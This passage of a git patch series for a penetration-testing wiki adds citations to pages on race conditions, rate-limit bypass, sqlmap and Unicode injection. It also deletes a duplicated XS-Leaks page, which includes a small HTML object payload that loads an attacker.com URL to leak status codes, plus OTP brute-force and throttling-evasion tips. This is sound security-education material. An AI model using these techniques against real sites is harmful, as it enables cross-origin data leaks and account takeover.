Reflection Misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration) +- [34] [web-in-security.blogspot.com - Security And Privacy Of Social Logins Part3](https://web-in-security.blogspot.com/2021/02/security-and-privacy-of-social-logins-part3.html) +- [35] [XS-Leaks Wiki - Attacks - Window References](https://xsleaks.dev/docs/attacks/window-references) +- [36] [XS-Leaks Wiki - Attacks - Navigations: Server Side Redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects) +- [37] [Huli - Angstrom Ctf 2022 Writeup En: Intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended) +- [38] [ctf.zeyu2001.com - Hacktm Ctf Qualifiers - Secrets: Unintended Solution Chromes 2mb Url Limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit) +- [39] [chromium.googlesource.com - Chromium documentation](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length) +- [40] [docs.google.com - 1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og - Edit: Slide=id.g63edc858f3 0 76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76) +- [41] [XS-Leaks Wiki - Attacks - Navigations](https://xsleaks.dev/docs/attacks/navigations) +- [42] [XS-Leaks Wiki - Attacks - Frame Counting](https://xsleaks.dev/docs/attacks/frame-counting) +- [43] [XS-Leaks Wiki - Attacks - Element Leaks](https://xsleaks.dev/docs/attacks/element-leaks) +- [44] [MDN - API - HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement) +- [45] [MDN - API - HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement) +- [46] [MDN - API - VideoPlaybackQuality](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality) +- [47] [MDN - API - HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement) +- [48] [XS-Leaks Wiki - Attacks - Element Leaks: Abusing Getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle) +- [49] [scarybeastsecurity.blogspot.com - Cross Domain Leaks Of Site Logins](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html) +- [50] [XS-Leaks Wiki - Attacks - Css Tricks: Retrieving Users History](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history) +- [51] [blog.bawolff.net - Write Up Pbctf 2021 Vault](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html) +- [52] [ndss-symposium.org - 02 - 8 Paper](https://www.ndss-symposium.org/wp-content/uploads/2020/02/24278-paper.pdf) +- [53] [XS-Leaks Wiki - Attacks - Navigations: Download Trigger](https://xsleaks.dev/docs/attacks/navigations/#download-trigger) +- [54] [XS-Leaks Wiki - Attacks - Navigations: Partitioned Http Cache Bypass](https://xsleaks.dev/docs/attacks/navigations/#partitioned-http-cache-bypass) +- [55] [Gist by aszx87410](https://gist.github.com/aszx87410/e369f595edbd0f25ada61a8eb6325722) +- [56] [ttps://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f701234](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.gae7bf0b4f7_0_1234) +- [57] [XS-Leaks Wiki - Attacks - Cache Probing: Fetch With Abortcontroller](https://xsleaks.dev/docs/attacks/cache-probing/#fetch-with-abortcontroller) +- [58] [XS-Leaks Wiki - Attacks - Element Leaks: Script Tag](https://xsleaks.dev/docs/attacks/element-leaks/#script-tag) +- [59] [XS-Leaks Wiki - Timing Attacks - Execution Timing: Service Workers](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#service-workers) +- [60] [XS-Leaks Wiki - Timing Attacks - Network Timing: Modern Web Timing Attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#modern-web-timing-attacks) +- [61] [XS-Leaks Wiki - Timing Attacks - Network Timing: Cross Window Timing Attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#cross-window-timing-attacks) +- [62] [Huli - Sekaictf2022 Safelist And Connection](https://blog.huli.tw/2022/10/08/en/sekaictf2022-safelist-and-connection) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xs-search/css-injection/README.md b/src/pentesting-web/xs-search/css-injection/README.md index 2e0024660d7..46487908054 100644 --- a/src/pentesting-web/xs-search/css-injection/README.md +++ b/src/pentesting-web/xs-search/css-injection/README.md @@ -41,7 +41,7 @@ input[name="csrf"][value^="csrF"] ~ * { } ``` -A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).<sup>[[2]](#references)</sup> +A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).<sup>[[2]](#references)[[22]](#references)</sup> #### Prerequisites for CSS Injection @@ -848,5 +848,6 @@ So, if the font does not match, the response time when visiting the bot is expec - [19] [What can we do with single CSS injection? (Slackers thread)](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) - [20] [justCTF 2022 write-up (Huli's blog)](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) - [21] [bi0sCTF 2022 - Emo-Locker writeup](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker) +- [22] [Gist by d0nutptr](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) {{#include ../../../banners/hacktricks-training.md}} From f1e26b1b0f98b0b5fe43f092f13bffc0e437434d Mon Sep 17 00:00:00 2001 From: Carlos Polop <carlospolop@gmail.com> Date: Thu, 6 Aug 2026 13:50:45 +0200 Subject: [PATCH 6/7] References: cite previously-unused reference entries Each superscript points at the existing line the reference documents. --- src/pentesting-web/postmessage-vulnerabilities/README.md | 2 +- src/pentesting-web/race-condition.md | 4 ++-- src/pentesting-web/rate-limit-bypass.md | 2 +- src/pentesting-web/sql-injection/sqlmap.md | 2 +- src/pentesting-web/unicode-injection/README.md | 2 +- src/pentesting-web/unicode-injection/unicode-normalization.md | 4 ++-- 6 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/pentesting-web/postmessage-vulnerabilities/README.md b/src/pentesting-web/postmessage-vulnerabilities/README.md index a323667217e..998d60f3b9d 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/README.md +++ b/src/pentesting-web/postmessage-vulnerabilities/README.md @@ -79,7 +79,7 @@ Note in this case how the **first thing** that the code is doing is **checking t In order to **find event listeners** in the current page you can: -- **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_) +- **Search** the JS code for `window.addEventListener` and `$(window).on` (_JQuery version_)<sup>[[5]](#references)</sup> - **Execute** in the developer tools console: `getEventListeners(window)` ![addEventListener exploitation - Enumeration: Execute in the developer tools console: getEventListeners(window)](<../../images/image (618) (1).png>) diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index f9ee3dec4ff..9c4a69552ff 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -489,11 +489,11 @@ So, until here just a common login with google/linkedin/github... where you are #### Race Condition in `authorization_code` -The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more than one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**. +The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more than one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**.<sup>[[14]](#references)</sup> #### Race Condition in `Refresh Token` -Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.** +Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.**<sup>[[13]](#references)</sup> See [**OAuth to Account Takeover**](oauth-to-account-takeover.md) for more OAuth-specific race/replay primitives. diff --git a/src/pentesting-web/rate-limit-bypass.md b/src/pentesting-web/rate-limit-bypass.md index 11d33e550a4..fe06e38eb51 100644 --- a/src/pentesting-web/rate-limit-bypass.md +++ b/src/pentesting-web/rate-limit-bypass.md @@ -73,7 +73,7 @@ If the limiter protects only `/verify` but not `/api/v2/verify`, you can also co ### GraphQL aliases & batched operations -GraphQL allows the client to send **several logically independent queries or mutations in a single request** by prefixing them with *aliases*. Because the server executes every alias but the rate-limiter often counts only *one* request, this is a reliable bypass for login or password-reset throttling. +GraphQL allows the client to send **several logically independent queries or mutations in a single request** by prefixing them with *aliases*. Because the server executes every alias but the rate-limiter often counts only *one* request, this is a reliable bypass for login or password-reset throttling.<sup>[[5]](#references)</sup> ```graphql mutation bruteForceOTP { diff --git a/src/pentesting-web/sql-injection/sqlmap.md b/src/pentesting-web/sql-injection/sqlmap.md index f95b518c1ab..a5b86c39972 100644 --- a/src/pentesting-web/sql-injection/sqlmap.md +++ b/src/pentesting-web/sql-injection/sqlmap.md @@ -218,7 +218,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch ## Recent switches worth enabling (>=1.9.x) * **HTTP/2 transport**: `--http2` forces sqlmap to speak HTTP/2 (helpful against front-ends that rate-limit HTTP/1.1 but relax h2). Combine with `--force-ssl` to pin HTTPS.<sup>[[4]](#references)</sup> -* **Proxy rotation**: `--proxy-file proxies.txt --proxy-freq 3` will rotate through a list, changing proxy every 3 requests to avoid IP-based throttling. +* **Proxy rotation**: `--proxy-file proxies.txt --proxy-freq 3` will rotate through a list, changing proxy every 3 requests to avoid IP-based throttling.<sup>[[1]](#references)</sup> * **Offline / purge modes**: `--offline` reuses cached session data without touching the target (zero network traffic), while `--purge` securely wipes the session/output directory when you’re done. * **Mobile UA emulation**: `--mobile` prompts you to spoof a popular smartphone User-Agent, useful on APIs that expose additional fields to mobile clients. diff --git a/src/pentesting-web/unicode-injection/README.md b/src/pentesting-web/unicode-injection/README.md index dc5a4d389b4..4b1ff54f1f8 100644 --- a/src/pentesting-web/unicode-injection/README.md +++ b/src/pentesting-web/unicode-injection/README.md @@ -14,7 +14,7 @@ This can turn apparently harmless input into working payloads for **XSS, SQLi, p ## Unicode normalization -Unicode normalization occurs when **Unicode characters are normalized to ASCII characters** or to another compatible representation. One common scenario is when the system **modifies** the user input **after checking it**. For example, in some languages a simple call to make the **input uppercase or lowercase** could normalize the given input and the **Unicode will be transformed into ASCII** generating new characters. +Unicode normalization occurs when **Unicode characters are normalized to ASCII characters** or to another compatible representation. One common scenario is when the system **modifies** the user input **after checking it**. For example, in some languages a simple call to make the **input uppercase or lowercase** could normalize the given input and the **Unicode will be transformed into ASCII** generating new characters.<sup>[[6]](#references)</sup> For more info check: diff --git a/src/pentesting-web/unicode-injection/unicode-normalization.md b/src/pentesting-web/unicode-injection/unicode-normalization.md index 6b2b38d3aad..fd949ef5799 100644 --- a/src/pentesting-web/unicode-injection/unicode-normalization.md +++ b/src/pentesting-web/unicode-injection/unicode-normalization.md @@ -13,7 +13,7 @@ Unicode normalization is a process that ensures different binary representations There are **four Unicode normalization algorithms**: NFC, NFD, NFKC, and NFKD. Each algorithm employs canonical and compatibility normalization techniques differently. For a more in-depth understanding, you can explore these techniques on [Unicode.org](https://unicode.org/). -For offensive testing, **NFKC/NFKD** are usually the most interesting forms because they can fold **compatibility characters** (fullwidth symbols, superscripts, modifier letters, ligatures, etc.) into plain ASCII. Also, don't mix this with **homoglyph/confusable** detection: two strings can look identical to a human and still **not** normalize to the same bytes. For phishing/IDN lookalikes check [Homograph / Homoglyph Attacks](../../generic-methodologies-and-resources/phishing-methodology/homograph-attacks.md). +For offensive testing, **NFKC/NFKD** are usually the most interesting forms because they can fold **compatibility characters** (fullwidth symbols, superscripts, modifier letters, ligatures, etc.) into plain ASCII. Also, don't mix this with **homoglyph/confusable** detection: two strings can look identical to a human and still **not** normalize to the same bytes. For phishing/IDN lookalikes check [Homograph / Homoglyph Attacks](../../generic-methodologies-and-resources/phishing-methodology/homograph-attacks.md).<sup>[[9]](#references)</sup> ### Key Points on Unicode Encoding @@ -113,7 +113,7 @@ A very common real-world pattern is **not** direct SQLi/XSS but **cross-endpoint 2. **Login / password reset / admin search / SSO callback** canonicalizes with NFC/NFKC, `casefold()`, IDNA or a custom transliteration library 3. The uniqueness check, lookup or session binding hits the **wrong account** -When testing accounts, replay the **same logical identifier** through every flow using raw, lowercase, `casefold()`, NFC, NFKC, punycode and compatibility characters. Useful canaries are `K`, fullwidth forms, combining marks and soft hyphen. If one endpoint reflects/stores the raw value but another one matches a canonicalized version, you may have duplicate-account creation, password-reset confusion or zero-interaction ATO conditions.<sup>[[2]](#references)</sup> +When testing accounts, replay the **same logical identifier** through every flow using raw, lowercase, `casefold()`, NFC, NFKC, punycode and compatibility characters. Useful canaries are `K`, fullwidth forms, combining marks and soft hyphen. If one endpoint reflects/stores the raw value but another one matches a canonicalized version, you may have duplicate-account creation, password-reset confusion or zero-interaction ATO conditions.<sup>[[2]](#references)[[7]](#references)</sup> ### Fuzzing Regexes From 244e9ee6b691bc2ed10dfc245192c395433ad8c2 Mon Sep 17 00:00:00 2001 From: Carlos Polop <carlospolop@gmail.com> Date: Thu, 6 Aug 2026 13:58:48 +0200 Subject: [PATCH 7/7] Remove duplicated xs-search.md page src/pentesting-web/xs-search/README.md is a strict superset of the standalone src/pentesting-web/xs-search.md (every prose line of the latter exists in the former, plus 4 extra sections). Drop the duplicate, its SUMMARY.md entry, and repoint the two inbound links. --- src/SUMMARY.md | 1 - ...blocking-main-page-to-steal-postmessage.md | 2 +- src/pentesting-web/timing-attacks.md | 2 +- src/pentesting-web/xs-search.md | 996 ------------------ 4 files changed, 2 insertions(+), 999 deletions(-) delete mode 100644 src/pentesting-web/xs-search.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 877f99eb8a8..e49596eba57 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -798,7 +798,6 @@ - [WebSocket Attacks](pentesting-web/websocket-attacks.md) - [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md) - [XPATH injection](pentesting-web/xpath-injection.md) -- [XS Search](pentesting-web/xs-search.md) - [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md) - [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md) - [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md) diff --git a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md index 3177de4d58e..10e48cac370 100644 --- a/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md +++ b/src/pentesting-web/postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md @@ -71,7 +71,7 @@ window.onmessage = (e) => { } ``` -So, when auditing, don't only look for a `==` coercion gadget: also look for loops over attacker-controlled `length` fields, debug leftovers, or any other synchronous path reachable **before** the sensitive `postMessage` is sent. Conceptually this abuses the same single-thread primitive used in [busy event loop XS-Leaks](../xs-search.md#busy-event-loop), but here the goal is to arm the malicious child before the parent resumes. +So, when auditing, don't only look for a `==` coercion gadget: also look for loops over attacker-controlled `length` fields, debug leftovers, or any other synchronous path reachable **before** the sensitive `postMessage` is sent. Conceptually this abuses the same single-thread primitive used in [busy event loop XS-Leaks](../xs-search/README.md#busy-event-loop), but here the goal is to arm the malicious child before the parent resumes. ### Timing the race diff --git a/src/pentesting-web/timing-attacks.md b/src/pentesting-web/timing-attacks.md index 36a037c3b2c..d24b7e0bdbd 100644 --- a/src/pentesting-web/timing-attacks.md +++ b/src/pentesting-web/timing-attacks.md @@ -11,7 +11,7 @@ The goal of a timing attack is to answer difficult questions or discover hidden Traditionally this was very hard because the interesting server-side signal was drowned in network jitter and server noise. However, after the [**single-packet / synchronized-request techniques**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), it became practical to remove most transport noise from the equation and isolate tiny **server-side timing deltas**.<sup>[[1]](#references)</sup> -This page is focused on **server-side web timing oracles**. For **browser-side / cross-origin timing leaks** check [XS-Search / XS-Leaks](xs-search.md). +This page is focused on **server-side web timing oracles**. For **browser-side / cross-origin timing leaks** check [XS-Search / XS-Leaks](xs-search/README.md). ## Making Timing Attacks Practical diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md deleted file mode 100644 index 1f193f7cb37..00000000000 --- a/src/pentesting-web/xs-search.md +++ /dev/null @@ -1,996 +0,0 @@ -# XS-Search/XS-Leaks - -{{#include ../banners/hacktricks-training.md}} - -## Basic Information - -XS-Search is a method used for **extracting cross-origin information** by leveraging **side channel vulnerabilities**.<sup>[[1]](#references)</sup> - -Key components involved in this attack include: - -- **Vulnerable Web**: The target website from which information is intended to be extracted. -- **Attacker's Web**: The malicious website created by the attacker, which the victim visits, hosting the exploit. -- **Inclusion Method**: The technique employed to incorporate the Vulnerable Web into the Attacker's Web (e.g., window.open, iframe, fetch, HTML tag with href, etc.). -- **Leak Technique**: Techniques used to discern differences in the state of the Vulnerable Web based on information gathered through the inclusion method. -- **States**: The two potential conditions of the Vulnerable Web, which the attacker aims to distinguish. -- **Detectable Differences**: Observable variations that the attacker relies on to infer the state of the Vulnerable Web. - -### Detectable Differences - -Several aspects can be analyzed to differentiate the states of the Vulnerable Web: - -- **Status Code**: Distinguishing between **various HTTP response status codes** cross-origin, like server errors, client errors, or authentication errors. -- **API Usage**: Identifying **usage of Web APIs** across pages, revealing whether a cross-origin page employs a specific JavaScript Web API. -- **Redirects**: Detecting navigations to different pages, not just HTTP redirects but also those triggered by JavaScript or HTML. -- **Page Content**: Observing **variations in the HTTP response body** or in page sub-resources, such as the **number of embedded frames** or size disparities in images. -- **HTTP Header**: Noting the presence or possibly the value of a **specific HTTP response header**, including headers like X-Frame-Options, Content-Disposition, and Cross-Origin-Resource-Policy. -- **Timing**: Noticing consistent time disparities between the two states. - -### Inclusion Methods - -- **HTML Elements**: HTML offers various elements for **cross-origin resource inclusion**, like stylesheets, images, or scripts, compelling the browser to request a non-HTML resource. A compilation of potential HTML elements for this purpose can be found at [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). -- **Frames**: Elements such as **iframe**, **object**, and **embed** can embed HTML resources directly into the attacker's page. If the page **lacks framing protection**, JavaScript can access the framed resource’s window object via the contentWindow property. -- **Pop-ups**: The **`window.open`** method opens a resource in a new tab or window, providing a **window handle** for JavaScript to interact with methods and properties following the SOP. Pop-ups, often used in single sign-on, circumvent framing and cookie restrictions of a target resource. However, modern browsers restrict pop-up creation to certain user actions. -- **JavaScript Requests**: JavaScript permits direct requests to target resources using **XMLHttpRequests** or the **Fetch API**. These methods offer precise control over the request, like opting to follow HTTP redirects. - -### Leak Techniques - -- **Event Handler**: A classical leak technique in XS-Leaks, where event handlers like **onload** and **onerror** provide insights about resource loading success or failure. -- **Error Messages**: JavaScript exceptions or special error pages can provide leak information either directly from the error message or by differentiating between its presence and absence. -- **Global Limits**: Physical limitations of a browser, like memory capacity or other enforced browser limits, can signal when a threshold is reached, serving as a leak technique. -- **Global State**: Detectable interactions with browsers' **global states** (e.g., the History interface) can be exploited. For instance, the **number of entries** in a browser's history can offer clues about cross-origin pages. -- **Performance API**: This API provides **performance details of the current page**, including network timing for the document and loaded resources, enabling inferences about requested resources. -- **Readable Attributes**: Some HTML attributes are **readable cross-origin** and can be used as a leak technique. For instance, the `window.frame.length` property allows JavaScript to count the frames included in a webpage cross-origin. - -## XSinator Tool & Paper - -XSinator is an automatic tool to **check browsers against several know XS-Leaks** explained in its paper: [**https://xsinator.com/paper.pdf**](https://xsinator.com/paper.pdf)<sup>[[1]](#references)</sup> - -You can **access the tool in** [**https://xsinator.com/**](https://xsinator.com/)<sup>[[4]](#references)</sup> - -> [!WARNING] -> **Excluded XS-Leaks**: We had to exclude XS-Leaks that rely on **service workers** as they would interfere with other leaks in XSinator. Furthermore, we chose to **exclude XS-Leaks that rely on misconfiguration and bugs in a specific web application**. For example, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage or Cross-Site Scripting. Additionally, we excluded timebased XS-Leaks since they often suffer from being slow, noisy and inaccurate.<sup>[[1]](#references)</sup> - -## **Timing Based techniques** - -Some of the following techniques are going to use timing to as part of the process to detect differences in the possible states of the web pages. There are different ways to measure time in a web browser. - -**Clocks**: The [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API allows developers to get high-resolution timing measurements.\ -There are a considerable number of APIs attackers can abuse to create implicit clocks: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animations, and others.\ -For more info: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/).<sup>[[6]](#references)</sup> - -## Event Handler Techniques - -### Onload/Onerror - -- **Inclusion Methods**: Frames, HTML Elements -- **Detectable Difference**: Status Code -- **More info**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)<sup>[[7]](#references)[[8]](#references)</sup> -- **Summary**: if trying to load a resource onerror/onload events are triggered with the resource is loaded successfully/unsuccessfully it's possible to figure out the status code. -- **Code example**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>) - - -{{#ref}} -xs-search/cookie-bomb-+-onerror-xs-leak.md -{{#endref}} - -The code example try lo **load scripts objects from JS**, but **other tags** such as objects, stylesheets, images, audios could be also used. Moreover, it's also possible to inject the **tag directly** and declare the `onload` and `onerror` events inside the tag (instead of injecting it from JS). - -There is also a script-less version of this attack: - -```html -<object data="//example.com/404"> - <object data="//attacker.com/?error"></object> -</object> -``` - -In this case if `example.com/404` is not found `attacker.com/?error` will be loaded. - -### Onload Timing - -- **Inclusion Methods**: HTML Elements -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events)<sup>[[9]](#references)</sup> -- **Summary:** The [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** can be used to measure how much time it takes to perform a request. However, other clocks could be used, such as [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) which can identify tasks running for more than 50ms. -- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) another example in: - - -{{#ref}} -xs-search/performance.now-example.md -{{#endref}} - -#### Onload Timing + Forced Heavy Task - -This technique is just like the previous one, but the **attacker** will also **force** some action to take a **relevant amount time** when the **answer is positive or negative** and measure that time. - - -{{#ref}} -xs-search/performance.now-+-force-heavy-task.md -{{#endref}} - -### unload/beforeunload Timing - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)<sup>[[10]](#references)</sup> -- **Summary:** The [SharedArrayBuffer clock](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) can be used to measure how much time it takes to perform a request. Other clocks could be used. -- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) - -The time taken to fetch a resource can be measured by utilizing the [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) and [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event) events. The **`beforeunload`** event is fired when the browser is about to navigate to a new page, while the **`unload`** event occurs when the navigation is actually taking place. The time difference between these two events can be calculated to determine the **duration the browser spent fetching the resource**. - -### Sandboxed Frame Timing + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a> - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Timing (generally due to Page Content, Status Code) -- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)<sup>[[11]](#references)</sup> -- **Summary:** The [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API can be used to measure how much time it takes to perform a request. Other clocks could be used. -- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) - -It has been observed that in the absence of [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), the time required for a page and its subresources to load over the network can be measured by an attacker. This measurement is typically possible because the `onload` handler of an iframe is triggered only after the completion of resource loading and JavaScript execution. To bypass the variability introduced by script execution, an attacker might employ the [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribute within the `<iframe>`. The inclusion of this attribute restricts numerous functionalities, notably the execution of JavaScript, thereby facilitating a measurement that is predominantly influenced by network performance. - -```javascript -// Example of an iframe with the sandbox attribute -<iframe src="example.html" sandbox></iframe> -``` - -### #ID + error + onload - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Page Content -- **More info**: -- **Summary**: If you can make the page error when the correct content is accessed and make it load correctly when any content is accessed, then you can make a loop to extract all the information without measuring the time. -- **Code Example**: - -Suppose that you can **insert** the **page** that has the **secret** content **inside an Iframe**. - -You can **make the victim search** for the file that contains "_**flag**_" using an **Iframe** (exploiting a CSRF for example). Inside the Iframe you know that the _**onload event**_ will be **executed always at least once**. Then, you can **change** the **URL** of the **iframe** but changing only the **content** of the **hash** inside the URL. - -For example: - -1. **URL1**: www.attacker.com/xssearch#try1 -2. **URL2**: www.attacker.com/xssearch#try2 - -If the first URL was **successfully loaded**, then, when **changing** the **hash** part of the URL the **onload** event **won't be triggered** again. But **if** the page had some kind of **error** when **loading**, then, the **onload** event will be **triggered again**. - -Then, you can **distinguish between** a **correctly** loaded page or page that has an **error** when is accessed. - -### Javascript Execution - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Page Content -- **More info**: -- **Summary:** If the **page** is **returning** the **sensitive** content, **or** a **content** that can be **controlled** by the user. The user could set **valid JS code in the negative case**, an **load** each try inside **`<script>`** tags, so in **negative** cases attackers **code** is **executed,** and in **affirmative** cases **nothing** will be executed. -- **Code Example:** - - -{{#ref}} -xs-search/javascript-execution-xs-leak.md -{{#endref}} - -### CORB - Onerror - -- **Inclusion Methods**: HTML Elements -- **Detectable Difference**: Status Code & Headers -- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)<sup>[[12]](#references)</sup> -- **Summary**: **Cross-Origin Read Blocking (CORB)** is a security measure that prevents web pages from loading certain sensitive cross-origin resources to protect against attacks like **Spectre**. However, attackers can exploit its protective behavior. When a response subject to **CORB** returns a _**CORB protected**_ `Content-Type` with `nosniff` and a `2xx` status code, **CORB** strips the response's body and headers. Attackers observing this can infer the combination of the **status code** (indicating success or error) and the `Content-Type` (denoting whether it's protected by **CORB**), leading to potential information leakage. -- **Code Example:** - -Check the more information link for more information about the attack. - -### onblur - -- **Inclusion Methods**: Frames -- **Detectable Difference**: Page Content -- **More info**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)<sup>[[13]](#references)[[14]](#references)</sup> -- **Summary**: Leak sensitive data from the id or name attribute. -- **Code Example**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet) - -It's possible to **load a page** inside an **iframe** and use the **`#id_value`** to make the page **focus on the element** of the iframe with indicated if, then if an **`onblur`** signal is triggered, the ID element exists.\ -You can perform the same attack with **`portal`** tags. - -### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a> - -- **Inclusion Methods**: Frames, Pop-ups -- **Detectable Difference**: API Usage -- **More info**: 